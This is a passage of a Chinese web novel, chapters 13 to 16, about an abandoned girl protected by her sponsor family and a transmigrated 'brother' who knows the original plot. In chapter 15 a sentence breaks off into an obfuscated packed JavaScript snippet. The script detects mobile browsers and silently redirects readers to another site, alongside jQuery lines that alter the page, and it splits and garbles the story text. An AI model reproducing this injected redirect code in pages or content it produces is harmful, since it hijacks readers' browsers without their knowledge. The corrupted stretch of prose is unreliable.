虽然他们不知道发生的什么事，看到几个高大的成年男人也有些发怵，也许是凭着一腔孩子不懂事的所谓义气，往林梓潇身后一站，几个半大孩子竟也有几分气势。 追出来的几个混混面面相觑，也有些犹豫。 一个小屁孩他们不放在眼里，但一群小屁孩，到底还是有点难办了。 卤味店里，胡见明的妈妈见一个两个的出了门都不见了，顿时也有些疑惑。 “下那么大雨，都在外面干啥呢……”她嘟嘟囔囔地在围裙上擦了擦手，撑伞走了出去。 看到店外的情形，脚步立刻顿了顿。 儿子和儿子同学们正和几个满脸写着不是好人的男人对峙着。 胡见明妈妈到底是个成年人，立刻拿出大人的气势，指着几个男人喊道：“你们干嘛的！我已经报警了啊！” 寸头见势头不对，啐了一句，招手朝其他几个人道：“走吧！” 13. 第十三章 见混混们灰溜溜地离开，林梓潇紧绷的神经才渐渐放松下来，紧抿着的唇畔微微颤抖。 胡见明有些担心地扶了扶她：“潇姐你没事吧？先进我家店里坐一下。” 林梓潇点了点头，跟着几人到店里坐下。 这场大雨把林梓潇浇得浑身湿透，湿漉漉的头发粘在双颊，冰冷的雨滴顺着发丝滴落，就连垂下的长睫都挂着水珠，总是透着一股坚韧的凤眸里满是空洞。 胡见明妈妈见林梓潇浑身淋得湿透，赶紧找来自己的衬衫外套给她披上。 “来，喝口热茶暖暖，别淋感冒了。”胡见明妈妈给她端来一杯茶。 这可是年段第一名的未来国家栋梁，和她儿子那种傻子比不得，可金贵呢。 林梓潇勉强地抿唇扯出一抹笑：“谢谢阿姨。” 热水顺着喉咙滑下，林梓潇的心里也渐渐回温。 她双手紧紧握着散发着余热的杯子，努力定下自己的颤抖的心神。 那个家已经没法回去了，林恺根本没有底线，她不能把自己放在如此危险的境地。 报警也行不通，在没有实质性伤害发生之前，就算是警察也没法给那几个混混定罪，如果他们矢口否认，顶多也就是口头教育，等回过头更不会放过她。 在林梓潇所有认识的人里，能帮她解决如今困境的人，只有一个。 林梓潇默默低头，摸出书包里的翻盖手机，在联系人的那一栏，停留许久。 最终，她还是拨通了电话。 那头是接电话的是陈让，他嘴里正塞着东西，模模糊糊地问：“喂？” “……阿让。”林梓潇淋了雨，又吹了风，心情大起大落，身上实在太凉，开口声音都是抖的。 陈让听出了她声音里的不对劲，抓紧咽下了嘴里的东西，急吼吼地追问：“潇潇？你怎么了？” * 不到二十分钟，陈让家的轿车就停到了卤味店的门口。 胡见明见是他们的大哥陈让来了，便也放心地把林梓潇送上了车。 陈让父亲算是小镇里第一批富起来的人，九十年代就住上了小洋楼。 陈让妈妈见林梓潇湿的像落汤鸡一样，赶紧放下了手里的饭菜，匆匆迎上去：“哎呀，怎么淋成这样？快快快，去洗个澡，阿姨给你找件衣服穿，别感冒了！” 陈让在接人回来的路上已经了解了刚刚发生的事，他声音都轻轻的，生怕吓到林梓潇似的：“去洗个澡吧潇潇，暖暖身子，别生病了。” “嗯。”林梓潇似乎已经收拾好了心情，朝陈让露出一个浅淡的微笑。 看她勉强笑着的样子，陈让眉头皱的更深了。 来的路上他就听林梓潇说了事情的经过，一直知道她爹不是个好东西，没想到根本不是东西！ 像他这种人渣，能生出潇潇这样的孩子，真是歹竹出好笋，祖坟冒青烟，竟也不知道好好珍惜。 陈让爸爸跟着老婆进了房间，在她找衣服的时候，轻声把事情说了。 陈让妈妈惊讶地捂住了嘴，面带不忍地说：“怎么会这样？好在人没事，要是真让那些人得逞了……” 接下来的事她都不敢想。 还好之前送潇潇一起去学了散打，至少有点保护自己的能力，如果今天真出了事，她不敢想象这会对潇潇造成多大的伤害。 “老公，潇潇一个小姑娘，真的挺不容易的，你要帮帮她啊。”陈让妈妈满脸愁容地抚了抚衣服上的褶子，心里想的都是林梓潇的事。 “我知道，肯定的。”陈父点了点头，应道。 他在豫西镇也算是个有头有脸的人物，多少能帮到梓潇一些。 林梓潇这孩子性格坚韧，人又聪明，都说三岁看到老，陈父看得出来，她以后一定会是个有出息的孩子，对她很欣赏。 就算不说这些，单说她是陈让最好的朋友，也应该帮这个忙。 林梓潇仰头站在花洒下淋浴，热水带出的水汽弥漫开来。 温热的水缓和了她僵硬的身躯，闭上眼，回想刚才的一幕幕，仍觉得有些不可思议。 她对林恺的人性向来没抱什么期待，但很显然，她的心理准备还是做少了。 一直以来，林梓潇觉得，摊上这样的爹也是没办法的事。 林恺也并不是时时刻刻都是个疯子，偶尔善良的时候，也会突然从外面带些路边摊卖的零嘴，说几句软话，露出一点点罕见的父亲模样，就像小时候那样。 林恺还没下岗的时候，他们这个家也说得上一句幸福。 那时候林恺是厂里篮球队的，他常常把女儿举过头顶，教她投篮，林梓潇会篮球，最起初就是林恺教的。 所以林梓潇从来没能纯粹地恨他，只是尽量保持着井水不犯河水的冷漠。 但今天的事让她彻底认清了。 林恺是一个没有底线的疯子，他是自己人生的阻碍，一个必须要抹去的污点。 再睁眼时，林梓潇的眼睛里已经完全没有了脆弱和空洞，取而代之的，是坚定不移的狠意，一闪而过后，她低下头掩去，心里已经做好了决定。 洗了澡换了衣服后出来，林梓潇已经完全收拾好了心情，甚至还能笑着让陈家三人别这么严肃。 吃完饭后，林梓潇和陈父进了书房私谈，陈让趴在门口偷听，奈何书房门隔音太好，他只能听到几个断断续续的字节，根本凑不成一句话。 两人聊了有近两个小时，陈让实在蹲不住了，改坐到了能看见书房房门的沙发上，幽怨地盯着书房。 两个小时后，林梓潇和陈父终于有说有笑地出来了。 而陈让，至今不知道那天老爹和林梓潇在书房里到底说了什么。 直到几个月后，听到林恺因为贩.毒被判刑五年的消息，他才隐隐约约地感觉到，也许那与老爹和潇潇呆在书房里的两个小时有关。 * 林梓潇把这个消息告诉顾执的时候，他非常惊讶。 因为在原书中，林恺的戏份要一直持续到潇潇十七岁，然后在她十七岁那年，当着她的面跳楼自杀，给她带来一生的梦魇。 可现在，在潇潇十二岁的时候，他竟然就被判入狱了？ 这也是因为他的出现而造成的蝴蝶效应吗？ 但是不管怎么样，林恺进去了，对潇潇来说也算是件好事，按剧本里写的，潇潇初中时还有两次大劫，可以说都是林恺造成的，现在他不在了，很多潜在的危险也就不在了。 没有了这块大石头，往后的人生，皆是坦途。 林恺贩.毒的量不大，情节不算严重，只被判了五年。 虽然不长，但也够了，等他五年后出来，潇潇应该也被认回去了。 想到这里，顾执不由得松了口气。 林蔚然见顾执情绪波动，好奇地凑上前，想看他的手机屏幕：“顾执哥，谁给你发消息啊？” 顾执收起情绪，不动声色地把手机合拢，收了起来：“妹妹。” 正值中秋，顾家和林家聚在一起吃饭，两家的三辈人都到得整整齐齐。 听到顾执的回答，林蔚然俏皮地嘟了嘟嘴：“是比我还亲的妹妹吗？” 顾执微微勾唇笑了笑，不接话茬。 和书里的剧情一样，在顾执和林蔚然都还小的时候，两家父母就给孩子半开玩笑半认真地定了娃娃亲，不过顾执怕这个身份给林梓潇带来负担，一直以来都明确拒绝，表示要提倡自由恋爱，从小到大，他都和林蔚然保持着不远不近的距离。 宋诗听到两个孩子聊天，看了过来：“是潇潇吗？潇潇给你发消息了？” “嗯，她说祝你们中秋快乐。”顾执晃了晃手里的翻盖手机。 说到这里，宋诗又不免有些心疼。 今天是中秋了，中秋都讲一个阖家团圆，可潇潇却是孤伶伶的一个人，还要祝他们中秋快乐。 顾清明也想到了这里，拍了拍宋诗的肩，朝顾执说：“跟潇潇讲，别难过，过几天就国庆了，干爹干妈一起过去看她。” 林家 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林爷爷却好似来劲儿了似的，又道：“哎，这你就不懂了，穷人的孩子早当家嘛，穷人家的孩子，心机打小就深沉，不像我们蔚然景然小执这样单纯，装装可怜就把你们骗了吧！要我说还是趁早断了，别到时候死攀上你们家！” 一口一个穷人，这话说得越来越难听了，连顾清明都皱起了眉头。 他刚想开口反驳，就听见一道泛着冷意的少年声音插了进来。 顾执脸上已经不见半点温和，向来带着几分笑意的清俊脸庞冷若冰霜：“您是心脏，看什么都脏，我认得潇潇时她不过六岁出头，倘若真有这么深沉的心机，也是我们潇潇的本事。” 这话说得实在护短，意思是就算林梓潇真的是个心机深沉，妄图攀附权贵的人，他也只会庆幸自己有让人攀附的资本。 林爷爷被顾执这个小辈怼心脏，面子按在地上摩擦，一张老脸顿时涨得通红，一时说不出话来。 这番颇有攻击性的话出口，林蔚然立刻有些惊讶地看向顾执。 顾执比她和林景然稍长两岁，成绩优异，性格也向来温和成熟，说话做事都很周到，典型的别人家孩子，他对所有人都很和善，但其实心理防线很高，对任何人都带着股不远不近的疏离，哪怕自己和哥哥同他青梅竹马长大，也不见得有多亲近。 顾执身上一直有种超出这个年纪的稳重成熟，好像所有事都在他的掌控之下，至少林蔚然从来没见过他生气。 可他今天竟然为了这个传闻中的妹妹，当场给长辈难堪。 林蔚然实在有些好奇，这个‘林梓潇’到底是什么样的人，竟然能让顾执做到这一步，话里话外都是明晃晃的偏袒和爱护。 见气氛紧张，林母沈清仪赶紧出来做和事佬，招呼大家吃饭：“好了好了，爸你也真是的，宋姐和顾哥哪里是什么傻子啊，这小姑娘肯定是个好孩子，宋姐才会决定资助，要真耍心机，哪里逃得过他们的眼睛？” 这事儿确实是她公公做的不对，宋诗和顾清明时不时就要夸一句干女儿，显然是极喜欢的，公公连人家的面都没见过，张口就讲人家干女儿坏话，巴掌都伸到人家脸上了，宋诗和顾清明不翻脸都算是给面子。 沈清仪知道她这个公公向来踩高拜低，说话口无遮拦，赶紧出来制止林老爷子。 顾家和林家是因为工作关系认识的，也有个十几年了，但是顾家和林家不一样，林家全靠林恒白手起家才在京城站稳脚跟，顾家却是几代累积，家底深厚，能熬过那个时代，在京城背景深着呢。 沈清仪可不想因为公公几句话，就和顾家生了隔阂。 顾清明也是个笑面虎，脸上一副笑模样，看不出情绪。 他伸手摸了摸顾执的脑袋，一边安抚儿子，笑着圆场：“是啊，潇潇真的是个好孩子，改天带她见见你们，就知道她多可爱了，小执也是太疼妹妹，冒犯老爷子的地方我替他道歉。” 顾执到底年纪还小，也不能真跟他计较不是。 于是这个小插曲，就这么不咸不淡地揭了过去。 14. 第十四章 林恺在与不在，对林梓潇的影响其实并不大，如果非要说，那就是日子过得更自在清净了。 从小就没有享受过父母宠爱的孩子，早就习惯了一个人生活。 生活里有时也会有大大小小的困难，但林梓潇虽然过得没有多宽裕，却也从没多为钱发过愁。 每当这个时候，她就会在心里再感激干妈干爹一次。 如果不是他们，她的日子过得至少还要困难几倍。 林梓潇现在还没有能力回报顾家，她唯一能做的就是努力学习，她不知道要多努力才能铺起到京城的台阶，所以一刻都不敢松懈。 小镇到京城只有两个小时的车程，可是这两个小时，她要用数年来到达。 99年的年末很快就到了，过了12月31日，就跨入了二十一世纪，这场跨世纪的历史时刻，全世界都在准备欢庆。 12月31日那天，正好是周五，也是学生们在二十世纪呆在学校的最后一天，学校早几个月就让各班准备了文艺汇演的节目，周五停课一下午，全校一起观看跨世纪文艺汇演。 对于学生来讲，只要不学习，干什么都是开心的，整个学校都弥漫着一股兴奋愉悦的气氛，就连走廊上打闹的同学都比往常有活力。 从午休开始，学生们就热热闹闹地准备起了下午的文艺汇演，女同学从家里拿来了妈妈的化妆品，手法生涩地互相化着妆。 在一片欢声笑语里，只有林梓潇还端坐着看书，时不时地拿笔演算，好像一分钟不学习就会当场暴毙似的。 日子特殊，老师也不管了，学生们都像脱缰野马似的到处串班。 陈让不知什么时候窜到了一班，一把夺过林梓潇手里的笔，幼稚地高高举起。 陈让初中时开始狂长个子，现在已经接近一米八了，林梓潇也拿他没办法。 “……”林梓潇没打算去跟他抢，她无奈地看着陈让：“还给我。” “不还！”陈让居高临下地朝林梓潇做了个鬼脸。 林梓潇无语地朝他翻了个白眼：“我又不是没笔，送你了。” 陈让瞥了一眼她的课桌，以迅雷不及掩耳之速夺过了桌上的笔袋，又顺手把她的书也抢走。 “大姐，今天是什么日子知道吗？放下你手里的书和笔，嗨起来，好吗！”陈让恨铁不成钢地瞪她。 林梓潇被没收了所有作案工具，没招了，两手一摊往后桌一躺，无所谓地说：“什么日子不都一样过吗。” 或许是因为从小就没有像样的亲人，什么跨年、元旦、端午、中秋，她从儿时起就没什么概念，自然也不会去庆祝，对林梓潇来说，只要林恺不发疯，那就是节日。 连活着都够辛苦了，她哪还有什么心思去庆祝那些虚无缥缈的节日。 但是陈让不一样，他对每一个节日都充满了热情和兴趣，最喜欢干的就是庆祝这些虚无缥缈的节日，没有活动，他甚至能创造活动。 林梓潇也是在跟陈让做朋友以后，才被迫开始跟他一起过节。 “我说特别就是特别！” 陈让可不管林梓潇愿不愿意，直接强拉着她跟自己一起去串班闹腾。 过了一年，陈让在初二年段的风头越来越盛了，身后的小弟团伙人也是越来越多了，陈让一声令下，全都乖乖准备了跨年礼物来分享。 倒也都不是什么值钱东西，大多都是几毛一包的小零食，小文具，就图个乐呵。 林梓潇陪陈让逛了一圈，手里就被塞满了东西。 比起小弟们，大哥陈让就阔绰多了。 九十年代卡拉OK刚刚开始盛行，镇上几家最大的KTV都是陈让老爸的产业，他随手就送抵扣券，免费请人来玩。 陈让跟个散财童子似的，见人就分发他那KTV抵扣券，也不管对方跟他熟不熟。 作为年段里有名的交际草，陈让周围很快围满了同学，林梓潇也不往里凑热闹，就站在外围，拆了一包不知谁塞给她的一根葱吃。 她正在一旁角落躲清静，就看到有个长相挺清秀的姑娘，红着张脸挪到了她旁边。 “……”林梓潇放慢了嚼零食的速度，有些疑惑地看过去：“找我吗？” 女孩害羞地点了点头。 林梓潇看了看她手里的一盒巧克力，心下了然，朝她伸了伸手：“给陈让的？” 陈让小学的时候爱跟女生玩，初中了以后少男少女们都情窦初开，陈让倒是不和女孩扎堆了，但他那妇女之友的性格和颇有些帅气的脸，还是勾引了不少少女的芳心。 不知道是不是因为林梓潇和陈让的相处太过于一身正气了，虽然他们一男一女经常走在一起，但年段里竟然从来没有两人的绯闻，甚至还经常有人拜托林梓潇给陈让送东西。 次数多了，林梓潇已经完全熟悉业务了。 她又问：“你叫什么？几班的？” 收礼物总要记个名号，礼物才不算白送。 女孩飞快地摇头，马尾辫在空中活泼地甩着，她顿了顿，小声道：“不是……不是给陈让的，是给你的。” 林梓潇愣了一瞬，诧异地挑了挑眉，指着自己：“给我？” 女孩又轻又快地‘嗯’了一声，把巧克力塞到林梓潇怀里：“你每次都考第一，我很崇拜你，还有，上周的国旗下讲话，你讲得特别好，给了我很大的鼓励……谢谢……” 上周的国旗下讲话，正好轮到一班，林梓潇被老师派去台上演讲，忘带稿子了，就现编了一通瞎话。 国旗下讲话的主题是‘努力’。 关于这个议题，林梓潇似乎是个不错的榜样。 作为一个从小到大都站在学习金字顶端的人，她无疑是十分有天赋的，可是林梓潇一刻都不敢松懈，毕竟，即使是万里挑一的天才，全国十二亿人里，也有十二万人。 林梓潇太小就触碰过了小镇外的世界，她害怕自己的天赋走出小镇后就会变得不值一提，所以只好用努力来弥补。 “或许是因为害怕努力得不到成果，会显得自己天赋寥寥，所以这个世界上有很多人，喜欢用各种方式来掩盖自己的努力，造成自己轻松成功的假象，然后转身去嘲笑那些努力的人。” “世界上有很多天赋超群的人，或许你们觉得我足够聪明，但是事实是，走出这里，在京城，或者更广阔的地方，永远有比我更聪明的人，在天才的世界里，天赋不值一提，要走到最后，只有靠努力。” “所以，我想说，努力并不是一件羞耻的事，你们为了目标奋斗的样子，很酷。” 这是林梓潇那天国旗下讲话的内容。 她丢了稿子，只好按照自己的想法随口一说，林梓潇以为，周一的早晨，大家都昏昏欲睡，没有人会在意台上的人都叽里咕噜讲了些什么。 可女孩眼里躲躲闪闪地崇拜和羞涩，那么真实青涩。 “是真的！”女孩强调道：“我爸总是说，我这么用功读书，成绩也不见得好，肯定不是读书的料，不如以后早点找个人嫁了，有时候我自己也会那么觉得……但是那天你说的话，真的有鼓励到我！ “是吗？”林梓潇有些不自在地抿了抿唇：“不用谢。” 她一股脑地把手里收的礼物塞到女生怀里：“都给你，我再给你问陈让拿两张券。” “不用了不用了！”女生慌乱地摆了摆手，“这些就够了，我先走了！” 说完，就逃也似的小跑着走远了。 林梓潇看着手里那盒漂亮精致的巧克力，莫名勾唇笑了笑。 这个跨年日，好像是挺特别的。 * 晚会持续了三个多小时才结束。 这场晚会很隆重，就连初三生都要忙里偷闲准备两个节目。 散场后，学校就放学了，连着元旦假期，一共能放三天。 陈让搭着林梓潇的肩膀走出学校，嬉皮笑脸地邀请她：“你来我家吃晚饭呗，晚上一起跨年，我爸买了烟花，我们一块放好不好？然后明天元旦，你可以跟我一块到我爷爷奶奶家去。” 林梓潇无奈地瞥了他一眼。 她 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一瞬间，她好像又回到了六岁时那具娇小脆弱的身体里，执着地追上母亲的步伐，却只能被留在原地。 原来所谓的长大，一直是她自以为的错觉。 林梓潇张了张嘴，最后还是什么都没有说出口。 陈让不认识杨慧芳，他看了看沉默的林梓潇，又看了看尴尬的杨慧芳，傻乎乎地问：“阿姨，你是哪位啊？潇潇的亲戚吗？” 杨慧芳嗫嚅了一下嘴唇，不知道该怎么回答，她模棱两可地说：“我和潇潇好久没见了，前几天遇到以前的邻居，说潇潇爸爸坐牢了，是真的吗？” “是啊，”陈让只当林梓潇是遇到了不熟的亲戚，不好意思说话，自以为贴心地替她交流：“都好几个月了，阿姨你真是好久没跟潇潇走动了吧！” 陈让撞了撞身旁的林梓潇，催促道：“潇潇，说句话啊。” 林梓潇冷着张俏脸，偏过头去，还是一味沉默。 两相僵持之下，一个四五岁的小男孩突然从后面窜了出来，一把抱住杨慧芳的大腿，大眼睛忽闪忽闪地看着林梓潇：“妈妈，这就是你说的姐姐吗？” 杨慧芳表情更尴尬了，她迟疑着点了点头。 小男孩性格很活泼，也不管林梓潇什么态度，就扑上去脆生生叫道：“姐姐！” 林梓潇好像突然回过神来似的，狠狠皱了皱眉，一把将小男孩推开，语气恶劣：“我不是你姐姐。” 小男孩个子小站不稳，被推得踉跄了两步，杨慧芳立刻紧张地上前扶住他，斥道：“潇潇，你对着孩子撒什么气！” 陈让见林梓潇冷脸推人，顿时有些傻眼。 林梓潇虽然平时性子拽了点，但绝不是什么不讲理的人，更不会无缘无故地推一个小孩。 再听这小孩说什么姐姐，他大概也明白了杨慧芳的身份，顿时有些懊恼自己刚才的热情。 林梓潇见杨慧芳对他小心爱护的样子，顿时冷笑了一声：“我说错了吗？没记错的话，七年前我就打电话告诉过你，现在还来表演什么大发善心？” “我也是担心你一个人过得不好，现在看来，没这个必要！”杨慧芳伸手将小男孩护在自己身后，对林梓潇怒目而视：“你和你爸真是像！一样暴力，一样不识好歹！” 林梓潇看着她，紧抿着唇，眸底愠色渐浓，心里升起一股无名之火。 正是放学高峰期的时候，校门口学生摩肩接踵，再加上林梓潇和陈让本就是学校里的风云人物，两人的争执，早已引来了许多学生的目光。 无数好奇的、探究的目光落在身上，心底冒出的隐隐不甘和愤怒还在升腾，林梓潇看着眼前熟悉的女人，向来平静深邃的琥珀眸早已激起波澜。 她突然发现，自己根本没有摆脱过儿时的困境。 明明做错事的从来不是她。 人群的涌浪中，她觉得自己像一座孤岛。 15. 第十五章 “这位女士，你是潇潇的妈妈哦？” 宋诗穿着一身精致的小香风套装，戴着圆润饱满的珍珠项链，长发烫得微卷，看起来时髦又漂亮。 她笑眼眯眯的，面孔年轻得像二十出头的大学生，但浑身大方自然的气质又不像这么稚嫩的年纪。 林梓潇看到宋诗，第一反应却不是惊喜，而是下意识地放松了紧绷的身体，好像受了委屈时，突然看到可以给自己撑腰的家长那样。 杨慧芳对着十岁出头的孩子能直起腰板，看到宋诗这样漂亮有气场的女人，就突然矮了一截，语气有些小心地问：“您是……？” 宋诗上前搂着林梓潇，面上还是笑意盈盈的：“我是潇潇的干妈，您不认得我也正常，毕竟当年扔下孩子就走了，这么多年也没回来，也是我礼数不周了，没能登门拜访您。” 宋诗笑呵呵地就给人捅了刀子，杨慧芳顿时涨红了脸。 也不知道林梓潇是从哪里冒出来的干妈，看着不像是什么普通人。 宋诗夫妻之前专门来请陈家人吃过饭，感谢他们照顾林梓潇，陈让是认识她的，见宋诗来了，心里也踏实了，嘴甜地喊她：“宋阿姨！好久不见了，您还是这么漂亮！” 宋诗开心地捂嘴笑了笑，拍拍陈让的头：“阿让还是这么嘴甜。” 林梓潇的干妈，她周围朋友都认识，而亲妈却跟陌生人似的，一下子高低立见，杨慧芳的脸色越来越难看。 顾执跟在宋诗后面出现，他伸手接过了林梓潇肩上的书包背着，温柔地问她：“书包怎么这么重？” 林梓潇看到他，心里的委屈顿时涌了上来，瘪着嘴撒娇：“……马上要期末考了，多带点书回家复习。” “放假了就放松两天。”顾执也知道她受了委屈，眼里涌上疼惜，轻柔地摸摸她的头安慰。 这一群人在这其乐融融的，搞得杨慧芳愈发里外不是人。 顾执也不放过她，微微笑着，嘴里说出来的话却很冰冷：“阿姨，都狠心这么多年了，现在是……良心发现？” “我……”杨慧芳被堵的哑口无言。 刚才宋诗笑眼盈盈的，小男孩听不懂大人话里的弯弯绕绕，只当宋诗是在和妈妈聊天，但现在，顾执的恶意却是明晃晃的，他立刻张开了小手臂，挡在妈妈面前，大喊道：“不许欺负我妈妈！” 杨慧芳愣了愣，感动地低头看着儿子，温柔哄道：“妈妈没事。” 顾执冷眼看着他们母子情深的样子。 他瞥了一眼对他怒目而视的小男孩，不做理会，只是淡淡道：“当年潇潇，好像也就这么大吧。” 当年顾执在那个老小区捡到林梓潇的时候，她就只有这么点个头，甚至比这个圆润白胖的小男孩还要再瘦小一些，话都说不利索的年纪，就被扔给了家暴的人渣父亲。 杨慧芳似乎也是想起了多年前年幼可怜的林梓潇，感动的表情一滞，滑稽地僵在了脸上。 顾执转向林梓潇，面上表情柔和了一些：“走吧潇潇，今天是个特殊的日子，爸爸在山庄亲自做了饭，我们回去吃饭。” “陈让，你也别在外面闲逛，早点回家。”顾执叮嘱陈让。 “知道了，执哥，宋阿姨再见。”陈让乖乖地点头道别。 陈让和顾执认识也有两年了，顾执大他们两岁，是个成熟识礼数的大哥哥，其实向来温润如玉，但不知道为什么，陈让就是有点怵他。 顾执朝他点头示意一下，揽着林梓潇离开，徒留杨慧芳难堪地留在原地。 * 宋诗开车，顾执和林梓潇坐在后座。 其实林梓潇十岁以后，顾执就开始和顾清明一样，在意男女之间社交的距离了。 虽然在他眼里，林梓潇还是个小孩子，小妹妹，但毕竟年纪大了，正是孩子懵懵懂懂的年纪，注意一下还是很有必要的。 但是今天情况特殊，他觉得自己还是应该给小姑娘一个拥抱。 顾执张开手臂，林梓潇就立刻扑了上去，深深埋在他怀里。 顾执十五岁了，刚上高一，高大的身形已经接近成年男性，让人很有安全感。 “哥哥……”林梓潇埋在他胸口，声音有些闷闷的。 看到顾执和宋诗出现，她才彻底放下了自己的坚强和独立，后知后觉地冒出委屈伤心的小情绪。 “哥哥在。”顾执叹了口气，大手搭在她的后脑勺上，轻轻摩挲。 车子不知不觉间就开到了山庄里，林梓潇抱了一路不愿意松手，不说话也不抬头。 宋诗停好了车，顾执给她做了个手势，示意她先走。 宋诗点点头，比了个OK。 相比起她和顾清明，林梓潇显然更听顾执的话，安慰开导人的活，交给顾执来做就好。 宋诗走后，林梓潇才敢啜泣出声，肩膀微微颤抖着，抱着顾执的手愈发紧了。 她的心情很复杂。 林梓潇长大的第一课，就是接受其实父母并不爱自己的事实，她以为自己早已习惯并接受。 可杨慧芳的出现让她发现，其实她从来只是假装洒脱，因为没有妈妈，所以假装自己不需要，只是假装久了，骗了别人，也骗过了自己罢了。 她没办法说服自己大度，没办法说服自己母亲也是没有办法，没办法说服自己放下。 看到杨慧芳新的孩子，和她对孩子温柔爱护的样子，她觉得不甘，觉得愤怒，觉得不公平。 她讨厌杨慧芳的抛弃，讨厌她的冠冕堂皇，讨厌她的不闻不问，更讨厌从来没有放下的自己。 杨慧芳一出现，就把她打回了原型，儿时那条追逐妈妈的楼道，她从来没有跑出来过。 “为什么……”林梓潇声音轻颤。 她紧紧揪着顾执外套的衣襟：“她把我扔下，转头就可以有新的生活，有新的家庭，新的孩子，把我忘了，就可以当作什么都没有发生过。” “可我却连坦然面对都做不到，更没办法当作什么都没发生过，所以才推了那个小孩……我知道不应该，对不起哥哥，我不是个好孩子……” 顾执听到她抽抽嗒嗒的声音，心也像被潮湿的雨淋透，闷闷得不好受。 他伸手，将林梓潇的脸从胸前捧起来。 她哭得鼻尖都红红的，漂亮的凤眼湿漉漉的，纤长的睫毛也被打湿，像只淋了雨的小狗。 虽然潇潇从小就是个哭包，但其实长大后，潇潇很少在他面前哭得这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578465|187211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稀里哗啦，顶多也是掉两滴鳄鱼的眼泪。 顾执有些心疼地伸手擦去她脸颊上的泪水。 其实潇潇未必是在意杨慧芳，她只是还小，没法真正地放下对母亲的向往，和对亲情的渴望。 一面渴望着，一面又强迫自己不去在意，猛地发现自己没有做到期待中那么洒脱，才让她在拉扯中自我厌弃。 顾执双手捧着她的脸，认真地说：“潇潇，你没必要当作什么都没发生过，也不用强迫自己放下。” “你可以恨她，也可以讨厌她的孩子，你有厌恶她的权利，这不会让你变成坏孩子。” 顾执定定地看着林梓潇，告诉她：“你还这么小，没有足够的力量面对这一切，所以恨也可以，潇潇，你已经很棒了，等你长大了，你会拥有自己的事业，自己的爱人，自己的孩子，等到那时再回头看，她杨慧芳其实只是一个可以随手抹去的污痕。” “你还有哥哥，还有干爹干妈，还有陈让，有很多朋友，很多人喜欢你，爱你，是不是？” 林梓潇看着顾执沉稳而坚定的眼睛，有些失神。 顾执早已褪去了年少时的青涩，有棱有角的脸庞透出些成熟的底色，他用那双深邃如海的眸子盯着人看的时候，总是有着让人安心信服的力量。 就像很多年前，顾执告诉她，不论未来如何，他会一直站在她这边。 林梓潇看着顾执的眼睛，缓缓地点了点头：“对……我有哥哥。” 见林梓潇逐渐平静下来，走出了自己心中的困局，顾执欣慰地拍了拍她的头，随手抽了几张纸巾，细细擦去她脸上的泪痕。 林梓潇停止了哭泣，但眼睛因为被泪水冲刷过，还是湿湿亮亮的，格外招人疼。 林梓潇可怜巴巴地看着顾执，伸出一根手指，要求道：“还要抱一下。” 顾执无奈地笑了笑，把她揽进怀里，轻轻拍着背安抚：“今天是特例，下次就不能抱了。” “不要……”林梓潇小声控诉：“别人家兄妹难道也不能抱吗？” “不能。”顾执这次坚决不依着她来，“这是底线，潇潇，不能再讨价还价了。” “……哦。” 林梓潇不情不愿地答应。 她知道顾执大部分时候都是好说话的，但他的底色仍然是强势的，只要是他认定的事，谁也没办法改变。 林梓潇把下巴搁在顾执肩膀上，小狗似的嗅他身上洗衣液的淡香。 顾执身上总是有一股淡淡的茶香，让人想起龙井被热水冲泡开时的氤氲，淡淡的香气，微微的苦涩，安心又温暖。 “小狗，在闻什么？”顾执好笑地侧头看她。 “哥哥身上的味道……”林梓潇老老实实的回答：“是香的。” 顾执含笑逗她：“臭的你还抱吗？” 林梓潇依赖地在他颈间蹭了蹭，卖乖道：“哥哥永远都是香的。” 顾执勾唇笑了笑，温热的大手轻柔地拍着她的背。 林梓潇在他已经算宽阔的怀抱安静地靠着，被顾执身上隐隐约约的淡香环绕，感受到了绝对的安心和宁静。 她心脏的跳动在加速。 林梓潇闭上眼睛，甘愿永远在这一刻沉沦。 16. 第十六章 两人在车上呆了一会，回到别墅的时候，顾清明还在厨房战斗。 顾家有专门的保姆和厨师，顾清明和宋诗都很少做饭，要做一桌子菜，没有俩小时下不来。 宋诗还想着进厨房帮帮顾清明能快点，结果两人一起被锅里溅起的油点吓到，在厨房里鸡飞狗跳的。 林梓潇看到这场面，忍不住笑出了声。 顾清明听到玄关的声响，一边举着锅盖挡油，一边回头招呼林梓潇：“小宝，你俩先去玩会啊，很快就好！” 被顾执安慰过后，林梓潇显然好了不少，只有眼尾的红痕还能看出一点哭泣过的痕迹。 她走进厨房，无奈地看着两个不靠谱的大人，指了指疯狂溅油的锅：“把菜沥干点，火开小点，就不会溅得这么厉害了。” 顾清明讪讪地笑了笑，挽尊道：“干爹知道，你们俩先去玩，呵呵。” 顾执摇头笑了笑，把林梓潇拉走了：“就让他们俩去折腾吧。” 林梓潇从善如流地跟着顾执离开，拿过自己的书包，抽出刚发下来的月考成绩单给顾执看。 她双手捧到顾执面前，刚哭过的眼睛澄澈干净，大大亮亮地看着顾执，一副求夸夸的表情，顾执感觉自己仿佛看到了她身后不存在的尾巴狂摇。 他忍俊不禁地摸摸林梓潇的小狗头，接过成绩单看了看。 也没什么意外的，一直都是稳定的第一名。 顾执从不怀疑她的优秀。 在剧本里，林梓潇是最强的反派，从小到大她的成绩都足够优异，工作上也十分有能力，够聪明，如果不是因为那个意外，她的人生实在是一片光明。 超群的智商，优秀的家世，漂亮的外貌，人生根本不会有任何烦恼。 可是命运却不眷顾她，要她在并不美好的世界里摸爬滚打。 初到小说世界时，顾执其实是游离的，他总是以旁观者的姿态审视这个世界的一切，将这个世界的一切当成是逼真的全息游戏副本。 可是时间过得越久，他发现自己越发地深陷其中，甚至很少会想起现实世界里的事。 这里的一切都这么真实，潇潇的可爱是真实的，潇潇的伤心是真实的，她根本不是剧本里那个心狠手辣，阴郁狠戾的反派，她只是一个乖巧伶俐的可爱孩子。 